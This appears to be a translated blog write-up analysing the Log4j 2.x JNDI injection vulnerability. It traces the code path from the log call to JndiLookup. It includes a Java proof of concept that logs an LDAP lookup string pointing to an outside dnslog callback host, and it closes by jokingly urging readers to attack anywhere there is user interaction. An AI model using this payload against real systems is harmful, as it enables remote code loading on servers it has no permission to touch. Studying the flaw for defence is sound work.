
Jdk7u21 (any version works)
Affected versions: Apache Log4j 2.x <= 2.14.1
Known affected applications and components:
Apache Solr
Apache Flink
Apache Druid
spring-boot-starter-log4j2
log4j coordinates
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.11.1</version>
</dependency>
Poc
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class test2 {
private static Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
LOGGER.error("${jndi:ldap://ewa04i.dnslog.cn/}");
}
}
Looking at the payload, we naturally search for log4j lookup or log4j jndi.
https://logging.apache.org/log4j/2.x/manual/lookups.html [English documentation]
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html [Chinese documentation]

We can see how to use it. It's not hard to notice that jndi is supported here, and jndi supports other protocols which will be converted, inevitably reminding us of ldap. Let's debug to see. Because I debugged until 5:30 last night, and had class this morning, I went to sleep, only keeping screenshots of the analysis process.

Without further ado, let's continue. Since I debugged quite a few times last night, I'll directly jump to the key point.

Directly to the key point: org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder)

org.apache.logging.log4j.core.pattern.PatternFormatter#format

We follow into this method. In native Java, this method formats strings; not sure if it's the same here.
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

Here, getMessage() retrieves our payload. Why?


We won't belabor this point. Let's continue.
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
It can be seen that it checks whether the string starts with ${. If so, it executes, triggering the vulnerability point.



Documentation for this method can be found at https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html





It seems that reading the documentation is pretty much enough. Here, it's obtaining the variable resolver.



Then it enters org.apache.logging.log4j.core.lookup.Interpolator#lookup

Gets the corresponding prefix, selects the corresponding jndi class object - JndiLookup.


Thus performing JNDI injection, achieving remote class loading.


According to the official documentation, it's essentially through formatting that ${jndi:ldap://uci5xf.dnslog.cn/test} is replaced with actual data.

Reference article: https://blog.csdn.net/lqzkcx3/article/details/82050375 Log4j uses lookup to obtain a protocol, and obtains that the protocol is jndi, data, sys, etc. It's stored in a map format. It detects the corresponding key, obtains the corresponding lookup, and executes it, forming a standard JNDI injection vulnerability.
From the entry point, it's not difficult to see that as long as it is logged, it can be executed (some cannot; this is written casually, so no deep dive).
The way to exploit it is: wherever there is interaction, try attacking everywhere, hahaha.